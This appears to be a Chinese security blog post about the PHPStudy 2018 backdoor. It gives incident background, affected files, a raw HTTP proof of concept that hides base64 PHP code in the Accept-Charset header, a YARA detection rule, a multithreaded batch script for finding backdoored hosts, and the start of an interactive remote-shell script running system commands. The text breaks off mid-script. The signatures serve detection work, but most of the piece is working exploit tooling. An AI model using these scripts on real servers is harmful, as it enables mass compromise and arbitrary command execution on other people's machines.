PHPSTUDY后门利用附环境附批量检测脚本

Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包，通过集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件一次性安装，无需配置即可直接安装使用，具有PHP环境调试和PHP开发功能，在国内有着近百万PHP语言学习者、开发者用户。

正是这样一款公益性软件，2018年12月4日，西湖区公安分局网警大队接报案称，某公司发现公司内有20余台计算机被执行危险命令，疑似远程控制抓取账号密码等计算机数据回传大量敏感信息。

西湖网警立即对该案立案侦查，并在市网警分局牵头下，组织精干警力成立专案组迅速开展侦查取证工作。

版本:

Phpstudy 2016

php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll

Phpstudy 2018

PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

环境:

这里使用的是PHPstudy2018,PHP版本为5.2.17。

环境下载地址:百度网盘
提取码:u2tq

POC

GET / HTTP/1.1 Host: 192.168.0.101:999 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip,deflate
Accept-Charset: ZWNobyAibW82MC5jbiI7

Payload：echo “mo60.cn”; 回显特征：mo60.cn

特征

Accept-Encoding: gzip,deflate Accept-Charset: Base64编码

文件特征

特征一、 %s;@eval(%s('%s')); 25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B 特征二、 @eval(%s('%s')); 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B rule PhpStudybackdoor { meta: filetype=" PhpStudybackdoor " description=" PhpStudybackdoor check" strings: $a1 = "@eval(%s('%s'));" $a2 =”%s;@eval(%s('%s'));” condition: any of ($a*) }

python脚本

检测脚本

#!/usr/bin/env python3 #-*- encoding:utf-8 -*- # 卿 博客:https://www.cnblogs.com/-qing-/ import base64 import requests import threading import threadpool print("======Phpstudy Backdoor Exploit============\n") print("===========By  Qing=================\n") print("=====Blog：https://www.cnblogs.com/-qing-/==\n") def write_shell(url): payload = "echo \"qing\";" payload = base64.b64encode(payload.encode('utf-8')) payload = str(payload, 'utf-8') headers = { 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3', 'Accept-Language': 'zh-CN,zh;q=0.9', 'accept-charset': payload, 'Accept-Encoding': 'gzip,deflate', 'Connection': 'close', } try: r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30) if "qing" in r.text: print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n') with open('success.txt','a') as f: f.write(url+'\n') else: print ('[ - ] BackDoor failed: '+url+'[ - ]\n') except: print ('[ - ] Timeout: '+url+' [ - ]\n') # url = "http://xxx" # write_shell(url=url,headers=headers) def main(): with open('url.txt','r') as f: lines = f.read().splitlines() task_pool=threadpool.ThreadPool(5) requests=threadpool.makeRequests(write_shell,lines) for req in requests: task_pool.putRequest(req) task_pool.wait() if __name__ == '__main__': main() #线程队列部分 # th=[] # th_num=10 # for x in range(th_num): #         t=threading.Thread(target=write_shell) #         th.append(t) # for x in range(th_num): #         th[x].start() # for x in range(th_num): #         th[x].join()

交互shell

#!/usr/bin/env python3 #-*- encoding:utf-8 -*- # 卿 博客:https://www.cnblogs.com/-qing-/ import base64 import requests import threading import threadpool import re print("======Phpstudy Backdoor Exploit---os-shell============\n") print("===========By  Qing=================\n") print("=====Blog：https://www.cnblogs.com/-qing-/==\n") def os_shell(url,headers,payload): try: r = requests.get(url=url+'/phpinfo.php',headers=headers,verify=False,timeout=10) # print(r.text) res = re.findall("qing(.*?)qing",r.text,re.S) print("[ + ]===========The Response:==========[ + ]\n") res = "".join(res) print(res) except: print("[ - ]===========Failed! Timeout...==========[ - ]\n") def main(): url = input("input the Url , example:\"http://127.0.0.1/\"\n") payload = input("input the payload , default:echo system(\"whoami\");\n") de_payload = "echo \"qing\";system(\"whoami\");echo \"qing\";" if payload.strip() == '':